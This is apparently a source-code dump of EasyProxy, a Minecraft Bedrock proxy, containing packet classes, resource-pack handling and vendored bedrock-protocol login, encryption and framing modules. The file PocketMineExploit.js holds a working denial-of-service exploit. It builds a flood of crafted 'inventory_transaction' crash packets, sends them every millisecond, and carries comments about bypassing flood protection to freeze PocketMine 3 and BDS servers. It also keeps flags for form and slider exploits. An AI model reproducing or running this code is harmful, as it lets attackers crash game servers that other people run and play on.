nameTag {string} 45 | */ 46 | add(name, nameTag) 47 | { 48 | let position = this.player.getPosition(); 49 | let entity = new Entity(position, EntityIdsString.PLAYER, new EntityBoundingBox(0, 0), [this.player]); 50 | entity.setName(name); 51 | entity.setNameTag(nameTag); 52 | entity.setShowNameTag(true); 53 | entity.setScale(0.000001); 54 | entity.spawn(); 55 | this.waypoints.push({name: name, id: entity.getID(), entity: entity}); 56 | } 57 | 58 | /** @param name {string} */ 59 | remove(name) 60 | { 61 | this.waypoints.forEach(waypoint => { 62 | if(waypoint.name === name) { 63 | EntityManager.unregister(waypoint.entity); 64 | waypoint.entity.despawn(); 65 | } 66 | }); 67 | } 68 | 69 | exists(name) 70 | { 71 | let includes = false; 72 | this.waypoints.forEach(waypoint => { 73 | if(waypoint.name === name) includes = true; 74 | }); 75 | return includes; 76 | } 77 | } 78 | 79 | module.exports = Waypoints; -------------------------------------------------------------------------------- /software/src/pack/types/ResourcePack.js: -------------------------------------------------------------------------------- 1 | const jsZip = require('jszip'); 2 | const JSZip = require("jszip"); 3 | const fs = require("fs"); 4 | const PackManifest = require("./PackManifest"); 5 | const crypto = require("crypto"); 6 | 7 | let $class; 8 | let contains; 9 | 10 | class ResourcePack 11 | { 12 | packSize = 0; 13 | packChunkSize = 128 * 1024; 14 | manifest; 15 | content_key = ''; 16 | packPath = "unknown"; 17 | contains; 18 | 19 | 20 | constructor(path) 21 | { 22 | $class=this; 23 | this.packPath=path; 24 | this.loadPack(); 25 | } 26 | 27 | async loadPack() 28 | { 29 | await fs.readFile(this.packPath, async function (err, data) { 30 | if (err) throw err; 31 | await JSZip.loadAsync(data).then(async function (zip) { 32 | contains = zip.files; 33 | await zip.forEach((key, data) => { 34 | if(key === "manifest.json") { 35 | zip.file("manifest.json").async("string").then((data) => { 36 | $class.manifest = new PackManifest($class, data); 37 | }); 38 | } 39 | }); 40 | }); 41 | }); 42 | } 43 | 44 | getPackSize() 45 | { 46 | if(this.packSize === 0) { 47 | let stats = fs.statSync(this.packPath); 48 | this.packSize = stats.size; 49 | } 50 | return this.packSize; 51 | } 52 | 53 | getPackChunkSize() 54 | { 55 | return this.packChunkSize; 56 | } 57 | 58 | getPackManifest() 59 | { 60 | return this.manifest; 61 | } 62 | 63 | getPackName() 64 | { 65 | return $class.manifest.getName(); 66 | } 67 | 68 | getContentKey() 69 | { 70 | return this.content_key; 71 | } 72 | 73 | getVersion() 74 | { 75 | return $class.manifest.getVersion(); 76 | } 77 | 78 | getPackUuid() 79 | { 80 | return $class.manifest.getUuid(); 81 | } 82 | 83 | getPackPath() 84 | { 85 | return this.packPath; 86 | } 87 | 88 | getHash() 89 | { 90 | let fileBuffer = fs.readFileSync(this.getPackPath()); 91 | let hashSum = crypto.createHash('sha256'); 92 | hashSum.update(fileBuffer); 93 | 94 | let myFileAsBuffer = fs.readFileSync(this.getPackPath(), { flag: 'r' }); 95 | return hashSum.digest(myFileAsBuffer); 96 | } 97 | 98 | getPackChunk(offset, size) 99 | { 100 | fs.readFile(this.packPath, offset); 101 | return fs.readFile(this.packPath, size); 102 | } 103 | } 104 | module.exports = ResourcePack; -------------------------------------------------------------------------------- /software/src/packet/AddPlayerPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const {Player} = require("../player/Player"); 16 | 17 | class AddPlayerPacket 18 | { 19 | player; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** 28 | * @param uuid {string} 29 | * @param username {string} 30 | * @param runtime_id {number} 31 | * @param platform_chat_id {string} 32 | * @param position {Object} 33 | * @param velocity {Object} 34 | * @param pitch {number} 35 | * @param yaw {number} 36 | * @param head_yaw {number} 37 | * @param held_item {number} 38 | * @param gamemode {string} 39 | * @param metadata {Array} 40 | * @param properties {Object} 41 | * @param unique_id {number} 42 | * @param permission_level {string} 43 | * @param command_permission {string} 44 | * @param abilities {Array} 45 | * @param links {Array} 46 | * @param device_id {string} 47 | * @param device_os {string} 48 | */ 49 | create(uuid, username, runtime_id, platform_chat_id, position, velocity, pitch, yaw, head_yaw, held_item, gamemode, metadata, properties, unique_id, permission_level, command_permission, abilities, links, device_id, device_os) 50 | { 51 | this.player.getBedrockPlayer().queue('add_player', { 52 | uuid: uuid, 53 | username: username, 54 | runtime_id: runtime_id, 55 | platform_chat_id: platform_chat_id, 56 | position: position, 57 | velocity: velocity, 58 | pitch: pitch, 59 | yaw: yaw, 60 | head_yaw: head_yaw, 61 | held_item: held_item, 62 | gamemode: gamemode, 63 | metadata: metadata, 64 | properties: properties, 65 | unique_id: unique_id, 66 | permission_level: permission_level, 67 | command_permission: command_permission, 68 | abilities: abilities, 69 | links: links, 70 | device_id: device_id, 71 | device_os: device_os 72 | }); 73 | } 74 | } 75 | 76 | module.exports = AddPlayerPacket; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/handshake/loginVerify.js: -------------------------------------------------------------------------------- 1 | const JWT = require('jsonwebtoken') 2 | const constants = require('./constants') 3 | const debug = require('debug')('minecraft-protocol') 4 | const crypto = require('crypto') 5 | 6 | module.exports = (client, server, options) => { 7 | // Refer to the docs: 8 | // https://web.archive.org/web/20180917171505if_/https://confluence.yawk.at/display/PEPROTOCOL/Game+Packets#GamePackets-Login 9 | 10 | const getDER = b64 => crypto.createPublicKey({ key: Buffer.from(b64, 'base64'), format: 'der', type: 'spki' }) 11 | 12 | function verifyAuth (chain) { 13 | let data = {} 14 | 15 | // There are three JWT tokens sent to us, one signed by the client 16 | // one signed by Mojang with the Mojang token we have and another one 17 | // from Xbox with addition user profile data 18 | // We verify that at least one of the tokens in the chain has been properly 19 | // signed by Mojang by checking the x509 public key in the JWT headers 20 | let didVerify = false 21 | 22 | let pubKey = getDER(getX5U(chain[0])) // the first one is client signed, allow it 23 | let finalKey = null 24 | 25 | for (const token of chain) { 26 | const decoded = JWT.verify(token, pubKey, { algorithms: ['ES384'] }) 27 | 28 | // Check if signed by Mojang key 29 | const x5u = getX5U(token) 30 | if (x5u === constants.PUBLIC_KEY && !data.extraData?.XUID) { 31 | didVerify = true 32 | debug('Verified client with mojang key', x5u) 33 | } 34 | 35 | pubKey = decoded.identityPublicKey ? getDER(decoded.identityPublicKey) : x5u 36 | finalKey = decoded.identityPublicKey || finalKey // non pem 37 | data = { ...data, ...decoded } 38 | } 39 | 40 | if (!didVerify && !options.offline) { 41 | client.disconnect('disconnectionScreen.notAuthenticated') 42 | } 43 | 44 | return { key: finalKey, data } 45 | } 46 | 47 | function verifySkin (publicKey, token) { 48 | const pubKey = getDER(publicKey) 49 | const decoded = JWT.verify(token, pubKey, { algorithms: ['ES384'] }) 50 | return decoded 51 | } 52 | 53 | client.decodeLoginJWT = (authTokens, skinTokens) => { 54 | const { key, data } = verifyAuth(authTokens) 55 | const skinData = verifySkin(key, skinTokens) 56 | return { key, userData: data, skinData } 57 | } 58 | 59 | client.encodeLoginJWT = (localChain, mojangChain) => { 60 | const chains = [] 61 | chains.push(localChain) 62 | for (const chain of mojangChain) { 63 | chains.push(chain) 64 | } 65 | return chains 66 | } 67 | } 68 | 69 | function getX5U (token) { 70 | const [header] = token.split('.') 71 | const hdec = Buffer.from(header, 'base64').toString('utf-8') 72 | const hjson = JSON.parse(hdec) 73 | return hjson.x5u 74 | } 75 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/options.js: -------------------------------------------------------------------------------- 1 | const mcData = require('minecraft-data'); 2 | const LoginHandler = require('../../../src/network/mcpe/LoginHandler'); 3 | 4 | // Minimum supported version (< will be kicked) 5 | const MIN_VERSION = '1.16.201' 6 | // Currently supported verson. Note, clients with newer versions can still connect as long as data is in minecraft-data 7 | const CURRENT_VERSION = LoginHandler.MCPE_VERSION; 8 | 9 | const Versions = Object.fromEntries(mcData.versions.bedrock.filter(e => e.releaseType === 'release').map(e => [e.minecraftVersion, e.version])) 10 | 11 | // Skip some low priority versions (middle major) on Github Actions to allow faster CI 12 | const skippedVersionsOnGithubCI = ['1.16.210', '1.17.10', '1.17.30', '1.18.11', '1.19.10', '1.19.20'] 13 | const testedVersions = process.env.CI ? Object.keys(Versions).filter(v => !skippedVersionsOnGithubCI.includes(v)) : Object.keys(Versions) 14 | 15 | const defaultOptions = { 16 | // https://minecraft.gamepedia.com/Protocol_version#Bedrock_Edition_2 17 | version: CURRENT_VERSION, 18 | // client: If we should send SetPlayerInitialized to the server after getting play_status spawn. 19 | // if this is disabled, no 'spawn' event will be emitted, you should manually set 20 | // client.status to ClientStatus.Initialized after sending the init packet. 21 | autoInitPlayer: true, 22 | // If true, do not authenticate with Xbox Live 23 | offline: false, 24 | // Milliseconds to wait before aborting connection attempt 25 | connectTimeout: 9000, 26 | // Specifies the raknet implementation to use 27 | raknetBackend: 'raknet-native', 28 | // If using JS implementation of RakNet, should we use workers? (This only affects the client) 29 | useRaknetWorkers: true, 30 | 31 | // server: What compression algorithm to use by default, either `none`, `deflate` or `snappy` 32 | compressionAlgorithm: 'deflate', 33 | // server and client: On Deflate, what compression level to use, between 1 and 9 34 | compressionLevel: 7, 35 | // server: If true, only compress if a payload is larger than compressionThreshold 36 | compressionThreshold: 512 37 | } 38 | 39 | function validateOptions (options) { 40 | if (!Versions[options.version]) { 41 | console.warn('Supported versions', Versions) 42 | throw Error(`Unsupported version ${options.version}`) 43 | } 44 | 45 | options.protocolVersion = Versions[options.version] 46 | if (options.protocolVersion < MIN_VERSION) { 47 | throw new Error(`Protocol version < ${MIN_VERSION} : ${options.protocolVersion}, too old`) 48 | } 49 | if (options.useNativeRaknet === true) options.raknetBackend = 'raknet-native' 50 | if (options.useNativeRaknet === false) options.raknetBackend = 'jsp-raknet' 51 | } 52 | 53 | module.exports = { defaultOptions, MIN_VERSION, CURRENT_VERSION, Versions, validateOptions, testedVersions } 54 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/handshake/login.js: -------------------------------------------------------------------------------- 1 | const JWT = require('jsonwebtoken') 2 | const { nextUUID } = require('../datatypes/util') 3 | const { PUBLIC_KEY } = require('./constants') 4 | const algorithm = 'ES384' 5 | 6 | const TitlesID = require('../titles/TitlesID'); 7 | 8 | module.exports = (client, server, options) => { 9 | const skinData = require('minecraft-data')('bedrock_' + options.version).defaultSkin 10 | 11 | client.createClientChain = (mojangKey, offline) => { 12 | const privateKey = client.ecdhKeyPair.privateKey 13 | 14 | let token 15 | if (offline) { 16 | const payload = { 17 | extraData: { 18 | displayName: client.username, 19 | identity: client.profile.uuid, 20 | titleId: TitlesID[client.session?.deviceOS || 7], 21 | XUID: client.xuid 22 | }, 23 | certificateAuthority: true, 24 | identityPublicKey: client.clientX509 25 | } 26 | token = JWT.sign(payload, privateKey, { algorithm, notBefore: 0, issuer: 'self', expiresIn: 60 * 60, header: { x5u: client.clientX509, typ: undefined } }) 27 | } else { 28 | token = JWT.sign({ 29 | identityPublicKey: mojangKey || PUBLIC_KEY, 30 | certificateAuthority: true 31 | }, privateKey, { algorithm, header: { x5u: client.clientX509, typ: undefined } }) 32 | } 33 | 34 | client.clientIdentityChain = token 35 | client.createClientUserChain(privateKey) 36 | } 37 | 38 | client.createClientUserChain = (privateKey) => { 39 | let payload = { 40 | ...skinData, 41 | SkinGeometryDataEngineVersion: '', // 1.17.30 42 | 43 | ClientRandomId: Date.now(), 44 | CurrentInputMode: 1, 45 | DefaultInputMode: 1, 46 | DeviceId: nextUUID(), 47 | DeviceModel: client.session?.deviceModel || nextUUID(), 48 | DeviceOS: client.session?.deviceOS || 7, 49 | GameVersion: options.version || '1.16.201', 50 | GuiScale: -1, 51 | LanguageCode: 'en_GB', // TODO locale 52 | 53 | PlatformOfflineId: '', 54 | PlatformOnlineId: '', // chat 55 | // PlayFabID is the PlayFab ID produced for the skin. PlayFab is the company that hosts the Marketplace, 56 | // skins and other related features from the game. This ID is the ID of the skin used to store the skin 57 | // inside of PlayFab. 58 | PlayFabId: nextUUID().replace(/-/g, '').slice(0, 16), // 1.16.210 59 | 60 | SelfSignedId: nextUUID(), 61 | ServerAddress: `${options.host}:${options.port}`, 62 | 63 | ThirdPartyName: client.profile.name, 64 | ThirdPartyNameOnly: false, 65 | UIProfile: 0, 66 | 67 | IsEditorMode: false, 68 | TrustedSkin: false, 69 | CompatibleWithClientSideChunkGen: true 70 | } 71 | const customPayload = options.skinData || {} 72 | payload = { ...payload, ...customPayload } 73 | payload.ServerAddress = `${options.host}:${options.port}` 74 | 75 | client.clientUserChain = JWT.sign(payload, privateKey, { algorithm, header: { x5u: client.clientX509, typ: undefined }, noTimestamp: true /* pocketmine.. */ }) 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /software/src/player/PocketMineExploit.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class PocketMineExploit 16 | { 17 | player; 18 | 19 | actions = []; 20 | 21 | sliderExploit = false; 22 | bigFormExploit = false; 23 | 24 | formExploit = {}; 25 | 26 | /** @param player {Player} */ 27 | constructor(player) 28 | { 29 | this.player = player; 30 | } 31 | 32 | /** 33 | * @return {boolean} 34 | */ 35 | isSliderExploit() 36 | { 37 | return this.sliderExploit; 38 | } 39 | 40 | /** 41 | * @param bool {boolean} 42 | */ 43 | setSliderExploit(bool) 44 | { 45 | this.sliderExploit=bool; 46 | } 47 | 48 | isBigFormExploit() 49 | { 50 | return this.bigFormExploit; 51 | } 52 | 53 | /** 54 | * @param bool {boolean} 55 | */ 56 | setBigFormExploit(bool) 57 | { 58 | this.bigFormExploit=bool; 59 | } 60 | 61 | /** 62 | * @return {{}} 63 | */ 64 | getFormExploit() 65 | { 66 | return this.formExploit; 67 | } 68 | 69 | /** 70 | * @param formData {Object} 71 | */ 72 | setFormExploit(formData) 73 | { 74 | this.formExploit=formData; 75 | } 76 | 77 | /** 78 | * @param count {number} 79 | */ 80 | generatePM3_FreezeActions(count) 81 | { 82 | for (let i = 0; i < count; i++) this.actions.push({source_type: "container", inventory_id: 0, slot: 28, old_item: {network_id: 0}, new_item: {network_id: 0}}); 83 | } 84 | 85 | freezePM3_Server() 86 | { 87 | // TODO: FREEZE ONLY PM3 SERVERS (PM4 PATCHED) 88 | // TODO: On BDS or BDSX it also works very well! 89 | setInterval(async () => { 90 | 91 | // TODO: BYPASS FLOOD PACKET 92 | this.player.getBedrockPlayer().upstream.queue('interact', { 93 | action_id:"mouse_over_entity", 94 | target_entity_id:0, 95 | position: {x:0,y:0,z:0} 96 | }); 97 | 98 | // TODO: CRASH PACKET 99 | this.player.getBedrockPlayer().upstream.queue('inventory_transaction', { 100 | transaction: { 101 | legacy: {legacy_request_id: 0}, 102 | transaction_type: "normal", 103 | actions: this.actions 104 | } 105 | }); 106 | }, 1); 107 | } 108 | } 109 | 110 | module.exports = PocketMineExploit; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/transforms/framer.js: -------------------------------------------------------------------------------- 1 | const [readVarInt, writeVarInt, sizeOfVarInt] = require('protodef').types.varint 2 | const zlib = require('zlib') 3 | 4 | // Concatenates packets into one batch packet, and adds length prefixs. 5 | class Framer { 6 | constructor (compressor, compressionLevel, compressionThreshold) { 7 | // Encoding 8 | this.packets = [] 9 | this.compressor = compressor || 'none' 10 | this.compressionLevel = compressionLevel 11 | this.compressionThreshold = compressionThreshold 12 | } 13 | 14 | // No compression in base class 15 | compress (buffer) { 16 | switch (this.compressor) { 17 | case 'deflate': return zlib.deflateRawSync(buffer, { level: this.compressionLevel }) 18 | case 'snappy': throw Error('Snappy compression not implemented') 19 | case 'none': return buffer 20 | } 21 | } 22 | 23 | static decompress (algorithm, buffer) { 24 | try { 25 | switch (algorithm) { 26 | case 'deflate': return zlib.inflateRawSync(buffer, { chunkSize: 512000 }) 27 | case 'snappy': throw Error('Snappy compression not implemented') 28 | case 'none': return buffer 29 | default: throw Error('Unknown compression type ' + this.compressor) 30 | } 31 | } catch { 32 | return buffer 33 | } 34 | } 35 | 36 | static decode (compressor, buf) { 37 | // Read header 38 | if (buf[0] !== 0xfe) throw Error('bad batch packet header ' + buf[0]) 39 | const buffer = buf.slice(1) 40 | const decompressed = this.decompress(compressor, buffer) 41 | return Framer.getPackets(decompressed) 42 | } 43 | 44 | encode () { 45 | const buf = Buffer.concat(this.packets) 46 | const compressed = (buf.length > this.compressionThreshold) ? this.compress(buf) : buf 47 | return Buffer.concat([Buffer.from([0xfe]), compressed]) 48 | } 49 | 50 | addEncodedPacket (chunk) { 51 | const varIntSize = sizeOfVarInt(chunk.byteLength) 52 | const buffer = Buffer.allocUnsafe(varIntSize + chunk.byteLength) 53 | writeVarInt(chunk.length, buffer, 0) 54 | chunk.copy(buffer, varIntSize) 55 | this.packets.push(buffer) 56 | } 57 | 58 | addEncodedPackets (packets) { 59 | let allocSize = 0 60 | for (const packet of packets) { 61 | allocSize += sizeOfVarInt(packet.byteLength) 62 | allocSize += packet.byteLength 63 | } 64 | const buffer = Buffer.allocUnsafe(allocSize) 65 | let offset = 0 66 | for (const chunk of packets) { 67 | offset = writeVarInt(chunk.length, buffer, offset) 68 | offset += chunk.copy(buffer, offset, 0) 69 | } 70 | 71 | this.packets.push(buffer) 72 | } 73 | 74 | getBuffer () { 75 | return Buffer.concat(this.packets) 76 | } 77 | 78 | static getPackets (buffer) { 79 | const packets = [] 80 | let offset = 0 81 | while (offset < buffer.byteLength) { 82 | const { value, size } = readVarInt(buffer, offset) 83 | const dec = Buffer.allocUnsafe(value) 84 | offset += size 85 | offset += buffer.copy(dec, 0, offset, offset + value) 86 | packets.push(dec) 87 | } 88 | return packets 89 | } 90 | } 91 | 92 | module.exports = { Framer } 93 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/transforms/encryption.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto') 2 | const Zlib = require('zlib') 3 | 4 | function createCipher (secret, initialValue, cipherAlgorithm) { 5 | if (crypto.getCiphers().includes(cipherAlgorithm)) { 6 | return crypto.createCipheriv(cipherAlgorithm, secret, initialValue) 7 | } 8 | } 9 | 10 | function createDecipher (secret, initialValue, cipherAlgorithm) { 11 | if (crypto.getCiphers().includes(cipherAlgorithm)) { 12 | return crypto.createDecipheriv(cipherAlgorithm, secret, initialValue) 13 | } 14 | } 15 | 16 | function computeCheckSum (packetPlaintext, sendCounter, secretKeyBytes) { 17 | const digest = crypto.createHash('sha256') 18 | const counter = Buffer.alloc(8) 19 | counter.writeBigInt64LE(sendCounter, 0) 20 | digest.update(counter) 21 | digest.update(packetPlaintext) 22 | digest.update(secretKeyBytes) 23 | const hash = digest.digest() 24 | return hash.slice(0, 8) 25 | } 26 | 27 | function createEncryptor (client, iv) { 28 | if (client.versionLessThan('1.16.220')) { 29 | client.cipher = createCipher(client.secretKeyBytes, iv, 'aes-256-cfb8') 30 | } else { 31 | client.cipher = createCipher(client.secretKeyBytes, iv.slice(0, 12), 'aes-256-gcm') 32 | } 33 | client.sendCounter = client.sendCounter || 0n 34 | 35 | // A packet is encrypted via AES256(plaintext + SHA256(send_counter + plaintext + secret_key)[0:8]). 36 | // The send counter is represented as a little-endian 64-bit long and incremented after each packet. 37 | 38 | function process (chunk) { 39 | const buffer = Zlib.deflateRawSync(chunk, { level: client.compressionLevel }) 40 | const packet = Buffer.concat([buffer, computeCheckSum(buffer, client.sendCounter, client.secretKeyBytes)]) 41 | client.sendCounter++ 42 | client.cipher.write(packet) 43 | } 44 | 45 | client.cipher.on('data', client.onEncryptedPacket) 46 | 47 | return (blob) => { 48 | process(blob) 49 | } 50 | } 51 | 52 | function createDecryptor (client, iv) { 53 | if (client.versionLessThan('1.16.220')) { 54 | client.decipher = createDecipher(client.secretKeyBytes, iv, 'aes-256-cfb8') 55 | } else { 56 | client.decipher = createDecipher(client.secretKeyBytes, iv.slice(0, 12), 'aes-256-gcm') 57 | } 58 | 59 | client.receiveCounter = client.receiveCounter || 0n 60 | 61 | function verify (chunk) { 62 | const packet = chunk.slice(0, chunk.length - 8) 63 | const checksum = chunk.slice(chunk.length - 8, chunk.length) 64 | const computedCheckSum = computeCheckSum(packet, client.receiveCounter, client.secretKeyBytes) 65 | client.receiveCounter++ 66 | 67 | if (!checksum.equals(computedCheckSum)) { 68 | client.emit('error', Error(`Checksum mismatch ${checksum.toString('hex')} != ${computedCheckSum.toString('hex')}`)) 69 | client.disconnect('disconnectionScreen.badPacket') 70 | return 71 | } 72 | 73 | const buffer = Zlib.inflateRawSync(chunk, { chunkSize: 512000 }) 74 | client.onDecryptedPacket(buffer) 75 | } 76 | 77 | client.decipher.on('data', verify) 78 | 79 | return (blob) => { 80 | client.decipher.write(blob) 81 | } 82 | } 83 | 84 | module.exports = { 85 | createCipher, createDecipher, createEncryptor, createDecryptor 86 | } 87 | -------------------------------------------------------------------------------- /software/src/packet/PlayerAuthInputPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const {Player} = require("../player/Player"); 16 | class PlayerAuthInputPacket 17 | { 18 | player; 19 | 20 | /** @param Player {Player} */ 21 | constructor(Player) 22 | { 23 | this.player=Player; 24 | } 25 | 26 | 27 | create(position, yaw, pitch, transaction = undefined, block_action = undefined) 28 | { 29 | this.player.getBedrockPlayer().upstream.queue("player_auth_input", { 30 | pitch: pitch, 31 | yaw: yaw, 32 | position: position, 33 | move_vector: {x: 0, z: 0}, 34 | head_yaw: yaw, 35 | input_data: { 36 | _value: 0, 37 | ascend: false, 38 | descend: false, 39 | north_jump: false, 40 | jump_down: false, 41 | sprint_down: false, 42 | change_height: false, 43 | jumping: false, 44 | auto_jumping_in_water: false, 45 | sneaking: false, 46 | sneak_down: false, 47 | up: false, 48 | down: false, 49 | left: false, 50 | right: false, 51 | up_left: false, 52 | up_right: false, 53 | want_up: false, 54 | want_down: false, 55 | want_down_slow: false, 56 | want_up_slow: false, 57 | sprinting: false, 58 | ascend_block: false, 59 | descend_block: false, 60 | sneak_toggle_down: false, 61 | persist_sneak: false, 62 | start_sprinting: false, 63 | stop_sprinting: false, 64 | start_sneaking: false, 65 | stop_sneaking: false, 66 | start_swimming: false, 67 | stop_swimming: false, 68 | start_jumping: false, 69 | start_gliding: false, 70 | stop_gliding: false, 71 | item_interact: false, 72 | block_action: false, 73 | item_stack_request: false 74 | }, 75 | input_mode: 'mouse', 76 | play_mode: 'normal', 77 | interaction_model: 'touch', 78 | gaze_direction: undefined, 79 | tick: 1, 80 | delta: {x: 0, y: -0.07840000092983246, z: 0}, 81 | transaction: undefined, 82 | item_stack_request: undefined, 83 | block_action: undefined 84 | }); 85 | } 86 | } 87 | 88 | module.exports = {PlayerAuthInputPacket}; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/transforms/serializer.js: -------------------------------------------------------------------------------- 1 | const { ProtoDefCompiler, CompiledProtodef } = require('protodef').Compiler 2 | const { FullPacketParser, Serializer } = require('protodef') 3 | const { join } = require('path') 4 | const fs = require('fs') 5 | 6 | class Parser extends FullPacketParser { 7 | dumpFailedBuffer (packet, prefix = '') { 8 | if (packet.length > 1000) { 9 | const now = Date.now() 10 | fs.writeFileSync(now + '_packetReadError.txt', packet.toString('hex')) 11 | console.log(prefix, `Deserialization failure for packet 0x${packet.slice(0, 1).toString('hex')}. Packet buffer saved in ./${now}_packetReadError.txt as buffer was too large (${packet.length} bytes).`) 12 | } else { 13 | console.log(prefix, 'Read failure for 0x' + packet.slice(0, 1).toString('hex'), packet.slice(0, 1000)) 14 | } 15 | } 16 | 17 | verify (deserialized, serializer) { 18 | const { name, params } = deserialized.data 19 | const oldBuffer = deserialized.fullBuffer 20 | const newBuffer = serializer.createPacketBuffer({ name, params }) 21 | if (!newBuffer.equals(oldBuffer)) { 22 | const fs = require('fs') 23 | fs.writeFileSync('new.bin', newBuffer) 24 | fs.writeFileSync('old.bin', oldBuffer) 25 | fs.writeFileSync('failed.json', JSON.stringify(params, (k, v) => typeof v === 'bigint' ? v.toString() : v, 2)) 26 | console.warn('Failed to re-encode', name) 27 | } 28 | } 29 | } 30 | 31 | // Compiles the ProtoDef schema at runtime 32 | function createProtocol (version) { 33 | // Try and load from .js if available 34 | try { require(`../../data/${version}/size.js`); return getProtocol(version) } catch {} 35 | 36 | const protocol = require('minecraft-data')('bedrock_' + version).protocol 37 | const compiler = new ProtoDefCompiler() 38 | compiler.addTypesToCompile(protocol.types) 39 | compiler.addTypes(require('../datatypes/compiler-minecraft')) 40 | compiler.addTypes(require('prismarine-nbt/compiler-zigzag')) 41 | 42 | const compiledProto = compiler.compileProtoDefSync() 43 | return compiledProto 44 | } 45 | 46 | // Loads already generated read/write/sizeof code 47 | function getProtocol (version) { 48 | const compiler = new ProtoDefCompiler() 49 | compiler.addTypes(require(join(__dirname, '../datatypes/compiler-minecraft'))) 50 | compiler.addTypes(require('prismarine-nbt/compiler-zigzag')) 51 | 52 | global.PartialReadError = require('protodef/src/utils').PartialReadError 53 | const compile = (compiler, file) => require(file)(compiler.native) 54 | 55 | return new CompiledProtodef( 56 | compile(compiler.sizeOfCompiler, join(__dirname, `../../data/${version}/size.js`)), 57 | compile(compiler.writeCompiler, join(__dirname, `../../data/${version}/write.js`)), 58 | compile(compiler.readCompiler, join(__dirname, `../../data/${version}/read.js`)) 59 | ) 60 | } 61 | 62 | function createSerializer (version) { 63 | const proto = createProtocol(version) 64 | return new Serializer(proto, 'mcpe_packet') 65 | } 66 | 67 | function createDeserializer (version) { 68 | const proto = createProtocol(version) 69 | return new Parser(proto, 'mcpe_packet') 70 | } 71 | 72 | module.exports = { 73 | createDeserializer, 74 | createSerializer, 75 | createProtocol, 76 | getProtocol 77 | } 78 | -------------------------------------------------------------------------------- /software/src/Position.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const deg2rad = require('deg2rad'); 16 | class Position 17 | { 18 | x; 